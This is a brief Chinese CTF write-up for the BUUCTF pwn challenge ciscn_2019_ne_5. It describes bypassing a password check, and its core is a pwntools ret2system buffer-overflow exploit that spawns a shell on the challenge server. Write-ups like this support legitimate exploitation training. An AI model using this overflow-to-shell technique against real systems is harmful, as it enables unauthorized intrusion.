BUUCTF-PWN-ciscn_2019_ne_5

checksec

image-20220118123619995

IDA

image-20220118175044680

  • 先让s1 == administrator越过if语句的检测
  • 再选1,写入log,由于已经存在system函数,所以试图找到binsh的地址,但是发现binsh不存在,后来得知sh也是可以用的image-20220118175609076
  • 然后选4,利用溢出得到shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'debug'

p = remote('node4.buuoj.cn', 26830)
elf = ELF('./ciscn_2019_ne_5')
sh_addr = 0x080482ea
main_addr = elf.sym['main']
sys_addr = elf.sym['system']

payload = flat(b'a' * (0x48 + 0x4) + p32(sys_addr) + p32(main_addr) + p32(sh_addr))
p.sendlineafter('password:', 'administrator')
p.sendlineafter('0.Exit\n:', '1')
p.sendlineafter('info:', payload)
p.sendlineafter('0.Exit\n:', '4')

p.interactive()

结果

image-20220118175742053